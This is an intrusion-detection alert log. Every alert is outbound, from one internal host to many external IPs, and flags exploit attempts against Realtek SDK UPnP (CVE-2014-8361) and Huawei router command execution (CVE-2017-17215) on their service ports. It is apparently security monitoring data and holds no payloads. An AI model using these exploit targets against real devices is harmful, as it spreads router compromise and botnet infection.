07/20/24-23:01:51.833558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35974	52869	192.168.2.23	207.100.140.133
07/20/24-23:01:50.223705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50334	52869	192.168.2.23	36.88.70.103
07/20/24-23:01:42.634606	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60262	52869	192.168.2.23	87.53.250.191
07/20/24-23:01:08.609855	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45964	52869	192.168.2.23	168.54.72.251
07/20/24-23:01:47.709674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47420	52869	192.168.2.23	57.16.142.227
07/20/24-23:01:51.944007	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60766	52869	192.168.2.23	194.155.182.26
07/20/24-23:01:02.055683	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37208	37215	192.168.2.23	41.201.15.228
07/20/24-23:01:41.270795	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58370	52869	192.168.2.23	112.83.62.168
07/20/24-23:01:34.050313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43684	37215	192.168.2.23	157.33.11.159
07/20/24-23:01:47.995202	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57242	52869	192.168.2.23	102.51.73.237
07/20/24-23:01:48.596773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37872	52869	192.168.2.23	133.40.152.48
07/20/24-23:02:03.987678	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40410	52869	192.168.2.23	95.249.40.161
07/20/24-23:01:01.505774	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35458	52869	192.168.2.23	126.16.187.60
07/20/24-23:01:08.588009	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48686	52869	192.168.2.23	210.116.25.221
07/20/24-23:01:54.345401	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44704	52869	192.168.2.23	67.25.105.249
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60950	37215	192.168.2.23	41.85.182.81
07/20/24-23:01:41.449345	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42106	52869	192.168.2.23	174.130.13.191
07/20/24-23:01:34.043766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60040	37215	192.168.2.23	41.243.122.81
07/20/24-23:01:48.356835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34734	52869	192.168.2.23	175.186.207.187
07/20/24-23:01:47.474975	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36434	52869	192.168.2.23	13.165.214.181
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35032	37215	192.168.2.23	157.249.222.130
07/20/24-23:00:59.201622	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36396	37215	192.168.2.23	81.147.177.5
07/20/24-23:01:02.444710	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50442	52869	192.168.2.23	4.194.116.48
07/20/24-23:01:44.663524	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47332	52869	192.168.2.23	132.102.241.51
07/20/24-23:01:46.340763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40722	52869	192.168.2.23	63.243.31.167
07/20/24-23:01:04.987638	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44574	52869	192.168.2.23	216.207.228.137
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59710	37215	192.168.2.23	23.247.196.153
07/20/24-23:01:11.820149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57558	37215	192.168.2.23	41.247.75.173
07/20/24-23:01:52.684130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36606	52869	192.168.2.23	75.139.110.226
07/20/24-23:01:27.658221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39066	37215	192.168.2.23	41.105.180.115
07/20/24-23:01:46.810790	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43706	52869	192.168.2.23	154.173.158.60
07/20/24-23:01:42.244235	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36306	52869	192.168.2.23	111.252.176.80
07/20/24-23:01:56.845732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46188	52869	192.168.2.23	79.6.78.78
07/20/24-23:01:31.312186	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38986	52869	192.168.2.23	61.127.88.100
07/20/24-23:01:11.822392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42414	37215	192.168.2.23	157.93.68.27
07/20/24-23:01:40.321300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60802	37215	192.168.2.23	197.55.198.212
07/20/24-23:01:31.313163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53996	52869	192.168.2.23	23.131.141.174
07/20/24-23:01:34.062277	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35574	37215	192.168.2.23	157.190.228.200
07/20/24-23:01:27.766239	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38616	37215	192.168.2.23	197.72.179.4
07/20/24-23:01:53.372532	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52392	52869	192.168.2.23	109.249.3.178
07/20/24-23:01:42.285526	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55702	52869	192.168.2.23	174.30.181.131
07/20/24-23:01:44.868029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39320	52869	192.168.2.23	24.28.111.138
07/20/24-23:01:42.189694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58170	52869	192.168.2.23	50.61.91.2
07/20/24-23:01:43.324295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53764	52869	192.168.2.23	35.7.41.237
07/20/24-23:01:59.745622	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41978	52869	192.168.2.23	144.252.195.82
07/20/24-23:01:24.575344	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48332	52869	192.168.2.23	166.142.205.252
07/20/24-23:00:59.203960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44694	37215	192.168.2.23	41.47.64.65
07/20/24-23:01:46.983381	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41326	52869	192.168.2.23	37.20.218.143
07/20/24-23:01:41.987411	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43042	52869	192.168.2.23	107.189.251.198
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57642	37215	192.168.2.23	41.41.194.11
07/20/24-23:01:42.233741	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48552	52869	192.168.2.23	91.23.23.187
07/20/24-23:01:43.091220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56428	52869	192.168.2.23	133.252.225.26
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56422	37215	192.168.2.23	41.152.253.87
07/20/24-23:01:02.123155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46746	52869	192.168.2.23	113.241.155.67
07/20/24-23:01:53.041672	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41128	52869	192.168.2.23	115.138.89.148
07/20/24-23:02:07.493932	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48246	52869	192.168.2.23	140.7.17.21
07/20/24-23:01:42.406731	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46448	52869	192.168.2.23	38.105.221.242
07/20/24-23:01:02.046626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46656	37215	192.168.2.23	157.47.11.186
07/20/24-23:01:27.649912	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50062	37215	192.168.2.23	197.206.255.142
07/20/24-23:01:41.349768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56034	52869	192.168.2.23	1.167.45.35
07/20/24-23:01:45.010540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53462	52869	192.168.2.23	192.54.139.100
07/20/24-23:00:57.222279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34110	37215	192.168.2.23	41.81.198.30
07/20/24-23:01:27.651332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42056	37215	192.168.2.23	60.14.209.187
07/20/24-23:01:00.638418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47392	37215	192.168.2.23	197.151.222.142
07/20/24-23:01:08.903232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51704	52869	192.168.2.23	131.199.217.59
07/20/24-23:01:41.750477	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47958	52869	192.168.2.23	197.168.237.206
07/20/24-23:01:11.818830	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33378	37215	192.168.2.23	157.223.84.102
07/20/24-23:01:42.145997	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58762	52869	192.168.2.23	104.27.90.68
07/20/24-23:01:42.696197	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44628	52869	192.168.2.23	24.42.93.65
07/20/24-23:01:51.405782	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54972	52869	192.168.2.23	13.25.11.108
07/20/24-23:01:08.560530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43976	52869	192.168.2.23	157.99.82.194
07/20/24-23:01:51.360754	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54610	52869	192.168.2.23	173.40.109.207
07/20/24-23:01:40.336908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34334	37215	192.168.2.23	41.197.138.116
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35478	37215	192.168.2.23	46.114.222.105
07/20/24-23:01:41.919931	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32798	52869	192.168.2.23	147.68.197.111
07/20/24-23:01:53.234960	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36880	52869	192.168.2.23	217.154.142.187
07/20/24-23:01:42.611005	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56342	52869	192.168.2.23	165.21.238.229
07/20/24-23:01:42.499887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35622	52869	192.168.2.23	99.176.241.96
07/20/24-23:01:51.086033	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59968	52869	192.168.2.23	106.9.90.86
07/20/24-23:01:03.159715	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49550	52869	192.168.2.23	78.39.181.117
07/20/24-23:01:55.546480	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56624	52869	192.168.2.23	174.141.27.208
07/20/24-23:01:31.312411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43376	52869	192.168.2.23	89.183.176.41
07/20/24-23:01:00.634089	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35110	37215	192.168.2.23	157.73.230.79
07/20/24-23:01:34.044293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40776	37215	192.168.2.23	157.116.8.136
07/20/24-23:01:50.255748	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60794	52869	192.168.2.23	79.217.40.139
07/20/24-23:01:55.741840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50022	52869	192.168.2.23	8.205.247.218
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37752	37215	192.168.2.23	157.108.180.162
07/20/24-23:01:56.828807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46608	52869	192.168.2.23	43.127.30.131
07/20/24-23:01:43.044692	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33658	52869	192.168.2.23	78.241.170.132
07/20/24-23:01:31.978142	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51306	37215	192.168.2.23	157.174.110.166
07/20/24-23:01:46.298100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57352	52869	192.168.2.23	203.221.6.21
07/20/24-23:01:02.280127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36392	52869	192.168.2.23	161.20.12.87
07/20/24-23:01:20.156820	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41766	37215	192.168.2.23	157.151.81.4
07/20/24-23:01:43.906354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40552	52869	192.168.2.23	169.102.32.106
07/20/24-23:01:51.354566	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48434	52869	192.168.2.23	187.61.181.140
07/20/24-23:01:42.536855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60210	52869	192.168.2.23	100.0.247.159
07/20/24-23:01:43.596881	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35476	52869	192.168.2.23	108.48.65.201
07/20/24-23:01:42.014835	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55010	52869	192.168.2.23	117.174.229.249
07/20/24-23:01:10.550846	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52846	52869	192.168.2.23	195.196.57.80
07/20/24-23:01:24.885849	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33952	37215	192.168.2.23	41.118.38.95
07/20/24-23:01:02.054387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44574	37215	192.168.2.23	41.45.210.158
07/20/24-23:01:54.562310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57736	52869	192.168.2.23	120.165.99.108
07/20/24-23:02:05.476791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56214	52869	192.168.2.23	93.40.207.17
07/20/24-23:01:42.647416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58418	52869	192.168.2.23	91.15.191.58
07/20/24-23:01:10.987935	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36258	52869	192.168.2.23	126.12.83.193
07/20/24-23:01:45.109958	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51562	52869	192.168.2.23	190.1.92.156
07/20/24-23:01:44.520254	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59858	52869	192.168.2.23	38.85.208.126
07/20/24-23:01:25.288586	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33274	52869	192.168.2.23	47.20.172.49
07/20/24-23:01:08.582150	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50930	52869	192.168.2.23	124.144.192.144
07/20/24-23:01:04.100971	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39282	37215	192.168.2.23	197.119.219.206
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35020	37215	192.168.2.23	197.1.124.246
07/20/24-23:01:54.053348	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48152	52869	192.168.2.23	212.188.148.79
07/20/24-23:01:59.707284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55918	52869	192.168.2.23	137.0.161.120
07/20/24-23:01:31.320679	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60890	52869	192.168.2.23	79.157.163.186
07/20/24-23:01:44.468208	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50766	52869	192.168.2.23	133.169.65.78
07/20/24-23:01:54.930155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40160	52869	192.168.2.23	197.213.222.122
07/20/24-23:01:42.499887	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42864	52869	192.168.2.23	199.182.118.208
07/20/24-23:01:46.893328	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47168	52869	192.168.2.23	98.147.36.143
07/20/24-23:01:54.957644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59666	52869	192.168.2.23	41.28.215.223
07/20/24-23:01:42.890948	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49942	52869	192.168.2.23	149.51.58.185
07/20/24-23:01:53.267116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57100	52869	192.168.2.23	67.228.135.229
07/20/24-23:01:01.406953	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43978	52869	192.168.2.23	148.117.206.184
07/20/24-23:00:59.185032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36304	37215	192.168.2.23	41.41.122.187
07/20/24-23:01:43.622289	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42376	52869	192.168.2.23	75.212.169.191
07/20/24-23:01:09.021221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49184	52869	192.168.2.23	44.188.193.15
07/20/24-23:01:52.569791	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52506	52869	192.168.2.23	65.85.212.42
07/20/24-23:01:43.489480	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53146	52869	192.168.2.23	171.210.7.241
07/20/24-23:01:08.607816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48736	52869	192.168.2.23	64.86.139.164
07/20/24-23:01:27.655551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34602	37215	192.168.2.23	157.254.243.46
07/20/24-23:01:42.519318	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53592	52869	192.168.2.23	196.168.75.104
07/20/24-23:02:02.632381	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43208	52869	192.168.2.23	88.40.199.176
07/20/24-23:01:14.103467	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59180	37215	192.168.2.23	197.49.55.120
07/20/24-23:01:11.634077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35526	37215	192.168.2.23	193.53.98.68
07/20/24-23:01:31.323042	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43226	52869	192.168.2.23	19.16.79.3
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39268	37215	192.168.2.23	41.224.244.226
07/20/24-23:01:41.467111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55928	52869	192.168.2.23	201.170.107.7
07/20/24-23:01:50.257796	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39230	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:06.996055	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32826	37215	192.168.2.23	41.52.198.36
07/20/24-23:01:06.973541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42644	37215	192.168.2.23	150.244.11.188
07/20/24-23:01:34.045749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43242	37215	192.168.2.23	157.42.95.98
07/20/24-23:01:26.010869	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55142	52869	192.168.2.23	221.42.114.149
07/20/24-23:01:02.104572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44882	37215	192.168.2.23	41.174.61.133
07/20/24-23:01:27.655551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44916	37215	192.168.2.23	157.84.55.40
07/20/24-23:01:44.728463	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52602	52869	192.168.2.23	204.16.50.125
07/20/24-23:01:43.185498	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37436	52869	192.168.2.23	57.234.190.125
07/20/24-23:01:12.813695	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36740	52869	192.168.2.23	126.12.83.193
07/20/24-23:01:42.812448	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52854	52869	192.168.2.23	219.68.37.27
07/20/24-23:01:00.639093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46260	37215	192.168.2.23	157.234.41.166
07/20/24-23:01:31.975513	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32976	37215	192.168.2.23	197.162.41.254
07/20/24-23:01:11.816521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38808	37215	192.168.2.23	217.234.58.254
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48142	37215	192.168.2.23	197.21.129.208
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54716	37215	192.168.2.23	177.172.21.105
07/20/24-23:01:42.470759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57332	52869	192.168.2.23	1.167.45.35
07/20/24-23:01:21.966302	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43454	37215	192.168.2.23	41.66.223.29
07/20/24-23:01:42.944341	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51422	52869	192.168.2.23	187.178.228.43
07/20/24-23:01:44.602081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52140	52869	192.168.2.23	150.181.137.93
07/20/24-23:01:34.044417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54706	37215	192.168.2.23	202.243.3.110
07/20/24-23:01:13.204741	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52070	52869	192.168.2.23	100.41.144.113
07/20/24-23:01:56.950526	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39512	52869	192.168.2.23	2.74.163.138
07/20/24-23:01:42.072139	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56536	52869	192.168.2.23	113.116.9.186
07/20/24-23:01:42.608320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38496	52869	192.168.2.23	220.210.17.223
07/20/24-23:01:09.027075	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32880	52869	192.168.2.23	189.63.115.173
07/20/24-23:01:27.660099	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57116	37215	192.168.2.23	41.155.124.93
07/20/24-23:01:12.841280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46040	52869	192.168.2.23	143.147.165.127
07/20/24-23:01:11.816277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44124	37215	192.168.2.23	62.86.14.116
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52270	37215	192.168.2.23	197.196.115.165
07/20/24-23:00:59.196993	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45996	37215	192.168.2.23	157.115.232.41
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55006	37215	192.168.2.23	141.121.89.226
07/20/24-23:01:20.175900	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50092	37215	192.168.2.23	165.70.37.218
